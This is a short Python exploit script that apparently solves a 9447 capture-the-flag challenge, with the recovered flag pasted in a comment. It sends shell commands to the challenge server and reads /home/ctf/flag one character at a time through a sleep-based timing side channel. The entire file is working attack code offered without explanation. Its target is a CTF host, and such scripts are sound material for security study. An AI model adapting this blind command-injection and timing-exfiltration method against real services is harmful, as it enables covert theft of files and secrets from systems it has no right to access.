#!/usr/bin/env python
import socket
TCP_IP = 'shmap.9447.plumbing'
TCP_PORT = 9447
BUFFER_SIZE = 1024

buf="if [ `head -c %s /home/ctf/flag` = '%s' ] ; then sleep 3 ; else sleep 1 ; fi\n"
#   9447{Im_sick_and_tired_of_the_mess_you_made_me_Never_gonna_catch_me_cry_Oh_whoa_whoa_You_must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_you_die_Oh_whoa_whoa_Without_me_youre_nothing_Oh_whoa_whoa_You_must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_you_die_Oh_whoa_whoa}
pw=""
for i in range(136,250):
    for j in range(65,127):
        tmp=pw+chr(j)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TCP_IP, TCP_PORT))
        ret=s.recv(1024)
        s.send(buf % (str(i),tmp))
        ret=s.recv(1024)
        print str(i)+" "+chr(j)+" "+tmp+" "
        if 'Took 3 seconds!' in ret:
            pw+=chr(j)
            print "OK "+pw
            s.close()
            break
        s.close()